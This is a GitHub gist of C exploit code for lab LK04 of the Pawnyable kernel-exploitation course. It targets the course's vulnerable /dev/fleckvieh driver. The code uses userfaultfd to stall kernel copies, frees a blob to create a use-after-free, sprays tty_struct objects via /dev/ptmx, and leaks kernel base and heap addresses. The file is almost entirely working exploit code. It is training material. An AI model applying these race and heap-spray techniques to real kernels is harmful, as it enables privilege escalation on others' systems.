Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Last active January 13, 2023 09:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brant-ruan/b6e17900d8b35b225e00a62962ddf04c to your computer and use it in GitHub Desktop.
Save brant-ruan/b6e17900d8b35b225e00a62962ddf04c to your computer and use it in GitHub Desktop.
Pawnyable LK04
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
#define SPRAY_NUM 0x10
#define ofs_tty_ops 0xc3c3c0
void fatal(const char *msg) {
perror(msg);
exit(1);
}
typedef struct {
long id;
size_t size;
char *data;
} request_t;
int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;
int add(char *data, size_t size) {
request_t req = {.size = size, .data = data};
int r = ioctl(fd, CMD_ADD, &req);
if (r == -1)
fatal("blob_add");
return r;
}
int del(int id) {
request_t req = {.id = id};
int r = ioctl(fd, CMD_DEL, &req);
if (r == -1)
fatal("blob_del");
return r;
}
int get(int id, char *data, size_t size) {
request_t req = {.id = id, .size = size, .data = data};
int r = ioctl(fd, CMD_GET, &req);
if (r == -1)
fatal("blob_get");
return r;
}
int set(int id, char *data, size_t size) {
request_t req = {.id = id, .size = size, .data = data};
int r = ioctl(fd, CMD_SET, &req);
if (r == -1)
fatal("blob_set");
return r;
}
static void *fault_handler_thread(void *arg) {
static struct uffd_msg msg;
struct uffdio_copy copy;
struct pollfd pollfd;
long uffd;
static int fault_cnt = 0;
puts("[t][*] set cpu affinity");
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");
uffd = (long)arg;
puts("[t][*] waiting for page fault");
pollfd.fd = uffd;
pollfd.events = POLLIN;
while (poll(&pollfd, 1, -1) > 0) {
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
fatal("poll");
if (read(uffd, &msg, sizeof(msg)) <= 0)
fatal("read(uffd)");
assert(msg.event == UFFD_EVENT_PAGEFAULT);
puts("[t][+] caught page fault");
switch (fault_cnt++) {
case 0:
case 1: {
puts("[t][*] crafting UAF");
puts("[t][*] deleting victim blob");
del(victim);
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
for (int i = 0; i < SPRAY_NUM; i++) {
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx[i] == -1)
fatal("/dev/ptmx");
}
// just reuse the buf in user land
copy.src = (unsigned long)buf;
break;
}
}
copy.dst = (unsigned long)msg.arg.pagefault.address;
copy.len = 0x1000;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &copy) == -1)
fatal("ioctl(UFFDIO_COPY)");
}
return NULL;
}
int register_uffd(void *addr, size_t len) {
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
long uffd;
pthread_t th;
puts("[*] registering userfaultfd");
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
fatal("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
fatal("ioctl(UFFDIO_API)");
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
fatal("UFFDIO_REGISTER");
puts("[*] spawning a fault handler thread");
if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))
fatal("pthread_create");
return 0;
}
int main() {
puts("[*] set cpu affinity");
CPU_ZERO(&pwn_cpu);
CPU_SET(0, &pwn_cpu);
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");
fd = open("/dev/fleckvieh", O_RDWR);
if (fd == -1)
fatal("/dev/fleckvieh");
void *page;
page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
fatal("mmap");
printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page);
register_uffd(page, 0x2000);
buf = (char *)malloc(0x1000);
victim = add(buf, 0x400);
set(victim, "Hello", 6);
puts("[*] UAF#1 leak kbase");
puts("[*] reading 0x20 bytes from victim blob to page#1");
get(victim, page, 0x20);
kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;
for (int i = 0; i < SPRAY_NUM; i++)
close(ptmx[i]);
puts("[*] UAF#2 leak kheap");
victim = add(buf, 0x400);
puts("[*] reading 0x400 bytes from victim blob to page#2");
get(victim, page + 0x1000, 0x400);
kheap = *(unsigned long *)(page + 0x1038) - 0x38;
for (int i = 0; i < SPRAY_NUM; i++)
close(ptmx[i]);
printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment